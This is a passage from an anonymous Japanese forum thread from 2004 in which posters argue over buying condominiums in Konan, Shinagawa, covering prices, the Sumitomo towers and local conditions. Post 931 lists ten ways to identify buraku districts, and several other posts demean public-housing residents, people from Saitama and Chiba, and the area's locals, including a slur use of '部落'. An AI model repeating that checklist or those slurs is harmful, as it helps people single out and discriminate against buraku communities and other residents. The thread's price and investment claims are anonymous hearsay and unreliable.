あと路面電車とかつくりゃいいのにね。

894 ：名無し不動さん：04/04/11 22:27 ID:???

>>891
駅前はほんと何とかしたほうがよいね。
港南の顔になる場所を居酒屋が占拠してるのは、これからの街として
明らかにマイナス。

895 ：名無し不動さん：04/04/11 23:25 ID:???

港南を購入したり検討している人たちは、何度も現地周りを訪れてみたの？
車じゃダメだよ。歩いてみないとね。
自分も去年夏から秋にかけて何度も出向いたけど、その度ガックリしたんだけど。
やっぱ、現在この地域に住んでる多くの人たちと共存していく自信がないけどなぁ。

コスポリ前で堂々と子供に立ちションさせてる母親、
信号無視して突っ込んでくる自転車集団、
駅前、スケーボー禁止の看板がいくつも立ち並ぶ中スケーボーやってるガキ共、
週末のインターシティのパティオ周りの光景、
港南図書館近辺に群がるガラの悪い中高生・・・等。

別に何の恨みもないので、この地域が良くなっていけばいいと思うけどね。

896 ：名無し不動さん：04/04/12 00:21 ID:CiSBBsaz

信号無視の自転車、スケボーのガキ共、ガラの悪い中高生ってのは
他の地域でもよくいるけどね。
１０年後にはだいぶ変わってる可能性はあるね。

897 ：名無し不動さん：04/04/12 02:48 ID:uUoDFLBV

>駅前はほんと何とかしたほうがよいね。
ほんとだよね。駅前がキレイなら、港南がよかった、、。

898 ：名無し不動さん：04/04/12 19:21 ID:???

>>896

品川はスーターにとっては昔から聖地みたいなもんだよ。
水道局の公園にはプロスケーターも大勢練習に来てるし、その華麗なトリックを見ようと
各地からアマスケーターが押し寄せて来てる。
連中の中には、話題の悪名高きグラフィティライターも混じってるから困りもんですよ。

899 ：名無し不動さん：04/04/12 21:01 ID:jVLQzWvN

変る訳無いだろ、都営民を追い出せるのか
険悪施設が移設しても、都営は残るし、駅から１０分～で
高級になると思っているのか
場所間違えてないか、転んでも港南だぜ！

900 ：港南暴落にうなだれる：04/04/12 21:03 ID:???

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901 ：aa：04/04/12 23:50 ID:???

都営と駅前のスラム飲み屋がなかったら、港南は
高輪より高くなるぽ。

でも絶対なるならないからむりぽ。

肉センターはどうでもいいや。

902 ：名無し不動さん：04/04/13 02:58 ID:???

ほんとに高輪より高くなるのかね？
しかし最近、Ｖタワーがえらく高値で取り引きされてるな。
うちの会社（某金融系中堅不動産屋）の扱いでは
販売時より１～２割、値上がりしてるのだが・・・

903 ：名無し不動さん：04/04/13 04:30 ID:???

たとえ再開発がさらに進み、お洒落な店がたくさんできても、いずれ人気は下がると思う。
広尾、麻布、高輪、目白、番町など、いつまでも人気の高いエリアは歴史もあるし、
自然があったり懐かしい景色が取り残されていたりと、住む人に優しい側面がある。
話題のスポットであっても「お台場に住みたい！」「どうしても天王洲アイルがいい！」という人が
急増しないのは、楽しいスポットと住む場所はやっぱり別！という意識があるからだと思う。
独身者、DINKSにはお薦めできるエリアですけど、子供がいる家庭が住む環境ではないと思う。

904 ：名無し不動さん：04/04/13 04:31 ID:???

高輪は無理としてもうまくすれば値上がりするでしょ。
Vの情報はにわかには信じられないのだが・・・ほんと？？

905 ：名無し不動さん：04/04/13 09:37 ID:???

品川は手鏡持った変質者が多いとこだよ

906 ：名無し不動さん：04/04/13 14:28 ID:???

>>904
港南２丁目の国土交通省地価公示が、
３年前のブイタワー販売時より
約１５％上がっているので、
値上がりはおそらくそのせいだろう。

港南２丁目はここ数年、公示地価全国値上がり率
トップ１０の常連なので、都心部の地価底打ち傾向
が本物なら、今後もどんどん値上がりしていくと思われ。

最近マンションがどんどん立ち始めている
港南３～５丁目は良くわからん。

907 ：名無し不動さん：04/04/13 21:24 ID:jAzu3I9U

八王子の都の売れ残りマンションが１２年目で７０％引きで
うりだしたそうな。
うりだした当時は６５００万ぐらいだったそうな。
ここの１２年後はどうなっているのだろう。

908 ：名無し不動さん：04/04/14 02:09 ID:???

>>907
まぁ八王子の売れ残りと比べている時点で、
あんたには想像できないだろうし理解も出来ないだろう。

あんまり難しいこと考えるなよｗ

909 ：名無し不動さん：04/04/14 18:10 ID:???

>>908
まああ？
ぁんん？

なんだそりゃ？

えっ縦読みじゃないって？そんなことはないよね？

910 ：名無し不動さん：04/04/14 21:36 ID:???

ここんところ太秦のデムパぶりがすごいな

911 ：名無し不動さん：04/04/15 05:19 ID:???

v-tower買っときゃ良かった。

912 ：名無し不動さん：04/04/15 08:57 ID:BDADJ6Nw

>>908
面白いよ。907は、自分は「バカ」ですと言っているようなもの。
こういう奴って本当にいるんだな。ウケねらいだとは思うが。

913 ：名無し不動さん：04/04/15 13:59 ID:???

>>909
面白いよ。912は、自分は「バカ」ですと言っているようなもの。
こういう奴って本当にいるんだな。ウケねらいだとは思うが。

914 ：名無し不動さん：04/04/15 23:56 ID:???

>>912,913
漏まいらの方がよっぽど痛いよ

915 ：名無し不動さん：04/04/16 11:35 ID:???

>>912
面白いよ。914は、自分は「バカ」ですと言っているようなもの。
こういう奴って本当にいるんだな。ウケねらいだとは思うが。

916 ：名無し不動さん：04/04/17 09:40 ID:wkyf1+2i

住友タワーズからバスが出るそうです。
都内とはいっても最寄の便利な駅まで
バスなら、駅近の郊外マンソンの方が
便利なような。
ブランファーレは目立っていますが、目の前
の巨大エントツきになりませんか？

917 ：名無し不動さん：04/04/17 10:08 ID:???

ああいうバスって、
売れ残りが多数出たり、ＤＱＮ住民増殖等による管理費未納で
運営資金が足りなくなりいずれ廃止・・・って心配ないのかな？

918 ：名無し不動さん：04/04/17 14:02 ID:???

ＤＱＮを港南エリアに隔離すればいいね。皆が喜ぶ。

あんな所にマンション買おうなんて考える時点でＤＱＮだし。

919 ：名無し不動さん：04/04/17 17:52 ID:???

「あんなとこ」って言われちゃうのね。

920 ：名無し不動さん：04/04/17 22:12 ID:???

>917
漏れもそのへん気になってたんだが、管理費とは無関係みたいだよ。
バス会社（中日バス？）側から、商機ありと手を挙げてきたらしい。

料金は片道100円。運行は５分間隔。山手線終電まで動かすらしい。

ただし、いま品川～JALビル間で運行しているの都営バスが
敷地前とその対面の海洋大学キャンパス側に停留所を作る可能性が
高いようで、とりあえず３年の契約なんだそうな。

どこまでほんとかは知らんが、悪い話ではないと思った。

921 ：名無し不動さん：04/04/18 22:02 ID:N+hcbeZU

本日お台場は港南のマンソン販売
で大賑わいだった。売れたかねー。
港南みるなら、お台場のＭＲより
大観覧車へのって港南のでかいゴミ焼き
エントツを目安にみるといいよ。
となりに見えるのがブランファーレ
その脇あたりにズラーッと巨大マンソン
部落ができる予定です。
そのあと現地へいってみると概略がわかります。

922 ：名無し不動さん：04/04/19 00:21 ID:uRKNT8/N

芝浦方面にも嫌悪施設ってある？

923 ：名無し不動さん：04/04/19 00:32 ID:wW+leBxC

人それぞれじゃない、目だった物はないけどね
芝浦埠頭界隈のダンプの交通量と排気ガスの
篭り方は、港南以上かもな、総合的には
芝浦が良いけどね、知名度も違うしね、
坪単価も５０は高いからね。

924 ：名無し不動さん：04/04/19 00:42 ID:wW+leBxC

＞８９２　何年待つつもりだ
ヨボヨボになって、良くなってもしょうがないね
今現在なんだよ

925 ：名無し不動さん：04/04/19 00:45 ID:???

芝浦や港南は海沿いに何かしら人を呼べる施設が必要だね。
まあ今のとこ自己完結すらできてない地区だから
思い切った計画が必要

926 ：名無し不動さん：04/04/19 02:17 ID:???

　　　　　　　　　　　　　　,.-‐　"""''''''- 、
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　 )'ｰーノ(　　　　　 i　　ノcニつ　⊂ニュﾐ　|　　　　　 |ｰ‐''"ｌ
　/　P　　|　　　　　ﾉ　 |　　<@　ミ　@ヽ. |　 |　　　　　ｌ　 P ヽ
　l 　･　　i´ 　　　ｲ　|　　　　(o_o.　　　 | 　|　　　　/　・　 /
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927 ：名無し不動さん：04/04/19 02:56 ID:???

天王洲アイルと品川を結ぶ交通機関（バス以外）が必要じゃないか？
そう思うのは自分だけ？

928 ：名無し不動さん：04/04/19 09:34 ID:???

このエリアは価格が安い部屋こそ買いですね。
何より迷い無く買える。
6000以上出す人達は、地域や周辺の不確定要素を気にしながら後悔したり
ほっとしたり・・・精神衛生上あんまり良くないね。
低層階や北向き買った人達の満足度は結構高くなると思うよ。

929 ：名無し不動さん：04/04/19 22:02 ID:5DZRXX0I

>927歩け！たいした距離ではない。
タクシー使え、1メータ程度だ。

930 ：名無し不動さん：04/04/20 02:42 ID:???

Ｖタワーの低層階購入組よかったね

931 ：名無し不動さん：04/04/20 21:09 ID:???

【○地区を見付けるポイント10】
①解放会館・青少年会館がある！
②信号機がやたらと多い！
③養護学校がある！
④食肉加工センターがある！
⑤市営住宅・改良住宅がある（東京は都営住宅）！
※通常の公営住宅との見分け方は配列がグチャグチャである点
⑥元々山ではなく平地なのに道がぐねぐね曲がっている！
⑦その地区が属する学区の中学校では給食がある！
⑧スクラップ工場もしくは車が大量に捨ててある！
⑨豚舎がある家が多い！
⑩浄土真宗の寺、白山神社（関東）がある！

932 ：名無し不動さん：04/04/22 21:37 ID:???

品川の港南口おりたところの吉野家の横あたりに
へんてこなオブジェが・・・
だせぇーーー

933 ：名無し不動さん：04/04/22 21:49 ID:porXjjdV

コーナン６０００マンならオダイバ
６０００マンがよろし。

934 ：名無し不動さん：04/04/22 23:49 ID:???

コーマン６０００エンがヨロシ。

935 ：名無し不動さん：04/04/24 01:01 ID:me+iKqow

港南は見てくれ変ろうが、所詮港南！
港区の粗大塵、お荷物、イメージダウン、
毛等と埼玉千葉の下民の入植者の苗どころ

936 ：名無し不動さん：04/04/24 08:21 ID:???

叩くやつも必死だな

937 ：名無し不動さん：04/04/24 09:47 ID:???

今日これから港南のマンションの商談に行きます♪
キラメク蒼い海を見ながらの都心でのゴージャスな
ライフスタイル。

938 ：名無し不動さん：04/04/24 11:46 ID:z3GV3pU6

住友ワールド苦戦中です　住友あっちこっちで単独開発やっているが
大丈夫なのか？　２０００も久我山ガーデンも売れるか疑問。

939 ：名無し不動さん：04/04/25 15:44 ID:iqvhHEbs

コーナンの１０年後。
どうせなら、今４割引きにすれば悲劇は避けられる。
以下は日経ネットよりー
東京都住宅供給公社が最大７割引きで売り出した「多摩ニュータウン」
の分譲マンション17戸に購入希望者が殺到、25日の申し込み締め切りを
前に、24日夕現在で、倍率868倍の物件も出る人気となった。17戸平均
の申し込み倍率は249倍。

940 ：名無し不動さん：04/04/25 16:18 ID:iqvhHEbs

住友2000団地のＭＲいってきました。
２０Ｆ以上で5000マンがいいとこの部屋を
6000マン以上で売ってました。
第２のラグナ決定です。
東京には6000マン以上をポンと払えるリッチ
家族が2000世帯はらくにいるとよんでるみたい。
その他コーナンのマンセーも同意見ナンダローネ。

941 ：名無し不動さん：04/04/25 16:32 ID:x2LFrNzB

天王洲ビュータワーに住んでいるけど不便よ～
礼金がないのと地下駐車場だけが魅力なので～
近くにマンソンいっぱい出来てるけど住んだらすぐ嫌になると思うよ～
個人的にはラグナタワーが８０㎡３５００万円でも要らないかな～
あっつ！賃貸に出すなら買ってもよいかな～

942 ：名無し不動さん：04/04/25 16:34 ID:???

港南に6000万以上払うって、なんか勿体無い・・・
それよりもっとマトモなエリアの物件買えるのに。
あの辺のマンション群でそれこそ8000万とか億クラスの部屋って、
ちゃんと売れているのだろうか？

943 ：名無し不動さん：04/04/25 18:04 ID:???

確かに環境はよくないし、「高級感」とは無縁だよね。＞港南

944 ：名無し不動さん：04/04/25 18:13 ID:???

道路と電車がうるさいし、空気悪い。

945 ：名無し不動さん：04/04/25 19:09 ID:???

住宅地としては最悪の環境。これすら分からん住人が集うので住民層も最悪。

946 ：名無し不動さん：04/04/25 21:12 ID:???

本日台場にある港南物件住友2000のＭＲいってきました。
ほとんどの部屋が6000マン以上でした。
オダイバオリックスタワーが6000マン円ぐらいですから、
同じぐらいの値段です。
私的にはオダイバ港南＞＞オダイバです。排気ガスの煙幕はオダイバ
の方があるかもしれんが、にたりよったり。
有明のガレリアは価格が１～2000マン安いが、不便である。
比較するとおもしろい。

947 ：名無し不動さん：04/04/25 22:19 ID:???

結構叩かれてるみたいですが。。一応港区ですからねぇ
私はｺｰﾏﾝに6000万出してもいいと思っていますが

948 ：名無し不動さん：04/04/25 22:31 ID:???

>947
それなら白金高輪とか三田周辺の方がよくない？

949 ：名無し不動さん：04/04/25 22:53 ID:oOFVMDpV

フジTVでやってる！

950 ：名無し不動さん：04/04/25 22:56 ID:???

>>949 見てるよー

951 ：名無し不動さん：04/04/25 22:56 ID:lJyx8tun

マンションなんてトラブル買うだけ

土地はまだまだ下がる

銀行の抵当物件放出が始まる

どうみても供給過剰

高層マンション＝土地が増えたと同じ事

952 ：名無し不動さん：04/04/25 23:02 ID:GKwm53ym

都心にマンション買うなんて馬鹿だよ。しかもローン３０年って。

953 ：名無し不動さん：04/04/25 23:07 ID:???

ローンなんて馬鹿はある程度承知の上で組むもんよ。

954 ：名無し不動さん：04/04/25 23:15 ID:lJyx8tun

金持ち父さん読んだんだ

彼はマンション投資の道を選んだ

おいらは日本では不動産投資は残念ながら現在無理があると判断した

けど彼を誇りに思うよ、がんばれ！

955 ：名無し不動さん：04/04/25 23:16 ID:???

区営＞コスポリの人、港南＞港南なんだね。
(今の住まいの目の前がコスポリ)
実際住んでる訳なんだけど、これからも住み続けたいという事なんだろうね。

956 ：名無し不動さん：04/04/25 23:16 ID:GKwm53ym

ezてれび見てるけど、馬鹿ばっかだわ。あんな狭いとこにローンを
３０年も払って住むなんて。人生終わりだね。田舎に住めよ。
うちなんか庭に車３０台とめられるで。

957 ：名無し不動さん：04/04/25 23:20 ID:1e0gyjAJ

区営住宅でいいのにね・・・。
分譲は、管理組合だの、大規模修繕だの、いろいろ大変だぞ！！

958 ：名無し不動さん：04/04/26 00:24 ID:???

でも結局、郊外新築マンションは港南に客を取られてるってことだよね。
通勤地獄よりは、環境悪くても利便性とスケールメリットを選んでるんだよ。
個人的にはお台場マンションに興味を持ってるが。

959 ：名無し不動さん：04/04/26 01:01 ID:???

港南でモノレールと横羽の至近距離で6000マンで2000戸で

まさに住友の墓標、
さて空売りをいつしようか

960 ：名無し不動さん：04/04/26 13:10 ID:???

結局田舎もんがこのエリアのマンション買うんだね。
元から東京にいる人間にはとても住めるエリアじゃないんだよ。

港南、有明、台場に住みたいと思う時点で田舎者！(ﾌﾟｯ

961 ：名無し不動さん：04/04/26 14:08 ID:???

生まれてから嫁に行くまで八雲にいたけど、
台場も実際住んでみると意外と快適。
住宅密集地にはない開放感がお台場にはあってなかなか良いです。
もっとも、買って一生住むかといったら、それは再考。

962 ：961：04/04/26 14:16 ID:???

失礼。
再考×
最高○

963 ：名無し不動さん：04/04/26 14:18 ID:???

う。ﾏﾙﾁにﾏｼﾞﾚｽしてしまた＿|￣|○

964 ：名無し不動さん：04/04/26 21:03 ID:???

>>958
駅に行くのに高速とモノレールをくぐって、殺風景な風景と腐臭をかぎながら20分も歩くのは
利便性がいいとは言いません

965 ：名無し不動さん：04/04/27 00:31 ID:???

いまだにブランファーレ売れ残ってるみたいだね。

966 ：名無し不動さん：04/04/27 01:24 ID:yoayaJmP

住友2000戸はまもなく本格的に販売開始みたいだね。
どうなんだろ？？

場所としては微妙という意見が多いみたいだけど、住友としてはかなり
高級仕様にしているから決して高いっていうイメージはないな。

共用設備、シャトルバスとかも設定して住みやすそうだけどな。

967 ：名無し不動さん：04/04/27 04:57 ID:???

>>965
住友を待ってましたが、高過ぎなのでブランを
検討中です。希望する間取りが無いので、もう
少し待って決定する予定。

968 ：名無し不動さん：04/04/27 05:53 ID:???

空気悪いのか。結構気になってたけどなぁ～
ところで郊外とか言ってる人いるけど・・・正気？郊外って現代の部落地区だよ。
金あったらみんな都内住んでるって。差別されるから郊外にはすまないのが常識。

969 ：名無し不動さん：04/04/27 11:15 ID:???

それを言うなら港南の方が部・・・

970 ：名無し不動さん：04/04/27 12:30 ID:???

>>966
そんなのに俺は釣られ　熊のAA略

971 ：名無し不動さん：04/04/27 19:57 ID:???

高速の横が空気最悪なのは、港南に限ったことじゃない。
日本全国いや全世界共通。
違うのはそこに住宅が建ってるかどうかだな。

972 ：名無し不動さん：04/04/27 20:16 ID:???

　　　world city towers

　　　　４月２９日（祝）
　モデルルームグランドオープン
　　　　（正式価格発表）

973 ：名無し不動さん：04/04/27 23:04 ID:BMPJCQQS

２ちゃん的には、板橋区や北区や練馬区も郊外だからなぁ。

974 ：名無し不動さん：04/04/27 23:09 ID:q45thOnZ

今更ワールド行くのは負け組みだよ。理由は行けば分かる。
港南は江東区と変わらないが・・・・

975 ：名無し不動さん：04/04/28 00:29 ID:NjcrHVx9

止めとけ、港区のお荷物港南！
せめて芝浦にしとけ！芝浦アイランドがええぞ

976 ：ドッペル玄関 ◇uGSfMN4E4w：04/04/28 00:46 ID:???

住めないくせに　ｗ

977 ：ドッペル玄関 ◆uGSfMN4E4w ：04/04/28 00:49 ID:4Vk8YeOZ

>976
もしかして◆の反転に気づいていないの？

978 ：ドッペル玄関 ◇uGSfMN4E4w：04/04/28 01:18 ID:???

なるほどｗ

979 ：ドッペル玄関（元祖）：04/04/28 13:48 ID:???

>>974
はいはい、あんたは世田谷にミニコでも買ってください。

980 ：名無し不動さん：04/04/28 13:51 ID:???

港南の辺りは羽田空港へ降りる飛行機の騒音とか気にならないですか。
風向きによっては直ぐそばを飛行機が飛んでいるように見えるんだけど。

981 ：名無し不動さん：04/04/28 17:20 ID:???

ワールド高すぎないか？あの値段はどうだろね？
港南なのにお台場にモデルルーム作る神経もどうかと。
本当に住友の墓標になるような気がする。

982 ：名無し不動さん：04/04/28 19:43 ID:???

うんうん、あの価格で2000戸も売り捌くなんて
営業もキツイと同情してしまうよ。

983 ：名無し不動さん：04/04/28 20:43 ID:???

値引きして売るために高く設定したとか？

984 ：名無し不動さん：04/04/28 22:28 ID:???

　すぐ錆びるし、洗濯ものが潮でべたべた

985 ：名無し不動さん：04/04/28 22:35 ID:???

4lDKは3or4Fから
今回の売り出しはA棟25Fまで
3-4F　6000ﾏｿ
25F　7000ﾏｿ
ちなみにｺｽﾓの33F南西角100平米3LDKが7000ﾏｿちょっと
ﾜｰﾙﾄﾞ1000ﾏｿ近くﾎﾞｯﾀしているｵｶﾝ

986 ：白金台住民：04/04/28 22:48 ID:???

　確かにｗ

987 ：名無し不動さん：04/04/29 00:40 ID:L0XHhBvZ

あ・・・価格はみなおすとか、みなおさないとか。
高めに設定しといて、ラグナみたく見直すよてだとか
ちがうとか。

コスモ、三井、ブランなどの売れのこりを処分するのに
てつだってあげてるだけだとか、関係ないだとか。

住友の値段みたら周辺の売れ残りの部屋が安くかんじる
っしょ。

988 ：名無し不動さん：04/04/29 01:26 ID:???

他の物件と違うのは3棟建てということであり・・・値引き前提という博打営業では

しかしこれでは兎にも角にも何故かAの角部屋ｷﾎﾞﾝﾇでなければ
BやらCやらの建物の方が値段もこなれてきてよいのではないか。
むしろ今買うのは後で値引きされたBやらCやらはおろか同じAの値引き部屋に地団駄を踏むだけでは
ないのか。
そのような不安が盛り上がるのがレスの少なさと値段から湧いてきた現在の状況でもある。
いや、それとも、これが営業戦略だというのであれば、賢いものは見抜いて矢張り
BやらCやらもしくはAの残りを狙うのではないか。
あるいは値引きが前提でないというのであればこの板の住人の未来はﾜｰﾙﾄﾞがｺｹるのをみて
笑いたいという悪趣味なｆじゃふぁｐ「亜

989 ：ドッペル玄関 ◇uGSfMN4E4w ：04/04/29 09:24 ID:GPWGz22Y

990 ：名無し不動さん：04/04/29 13:05 ID:???

>ﾜｰﾙﾄﾞがｺｹるのをみて笑いたいという悪趣味

1ﾉｼ
あんな凄い土地に建つ万村をメーカー希望小売価格？で買う香具師の顔みてみたいぞ。

991 ：名無し不動さん：04/04/29 23:09 ID:pUOJWlJv

周辺の環境は確かにあんまりよくないな、これから変わっていくなら
いいと思うんだが。

ワールドは内装とかを見る限りかなり高級仕様。
マンションの質と価格を比較すると悪くないのでは
あとはあの環境をどう見るかだな。

992 ：名無し不動さん：04/04/29 23:35 ID:E3SFQRvr

豊洲二丁目にワールドができてたら即買ってマス

993 ：名無し不動さん：04/04/30 00:23 ID:???

もし港南が流行最先端のおしゃれスポットになったら
今マンション買った人は軒並み資産家の仲間入り。
そんなおいしいことあるわけないじゃん。
倉庫街がマンション街（ビル街）になるだけです。

慎太郎ちゃんが運河の活用を唱えてるけど、どうせやるなら
観光スポットになるくらい徹底的にやって欲しいね。
まあせいぜい屋形船がうろうろする程度だろうけど

994 ：ドッペル玄関 ◆uGSfMN4E4w ：04/04/30 00:34 ID:o+ZeTXXn

>>989
だ・か・ら、ｺﾋﾟﾍﾟしても◆は◇になるんだから
人の名前は使うなって

995 ：ドッペル玄関 ◇uGSfMN4E4w ：04/04/30 00:51 ID:???

ごめんよ～

996 ：名無し不動さん：04/04/30 01:01 ID:???

ワールドを言い値で買おうとしてる漏れは負け組でつか・・・

997 ：名無し不動さん：04/04/30 02:08 ID:bO3bhLx/

ブランファーレとかベイクレストもいいけど、都営（港南４丁目第2アパート）も立派だね！
ラクシアとかパークタワーもいいけど、公社（シティハイツ港南？）もいいね～！

なんか高い金払って買うのバカらしくない？
何とか都営とか安いとこ入って、浮いた金でうまいモノ食べて、クルマ買って、
海外旅行でもする方がよっぽどいいなァ。 30年ローンに縛られるよりは(^_^;)

998 ：名無し不動さん：04/04/30 04:43 ID:???

>>997
正論だな・・・

もすぐ１０００、さようなら港南刷れ

999 ：999：04/04/30 05:32 ID:wiASLbZp

999

1000 ：名無し不動さん：04/04/30 05:33 ID:wiASLbZp

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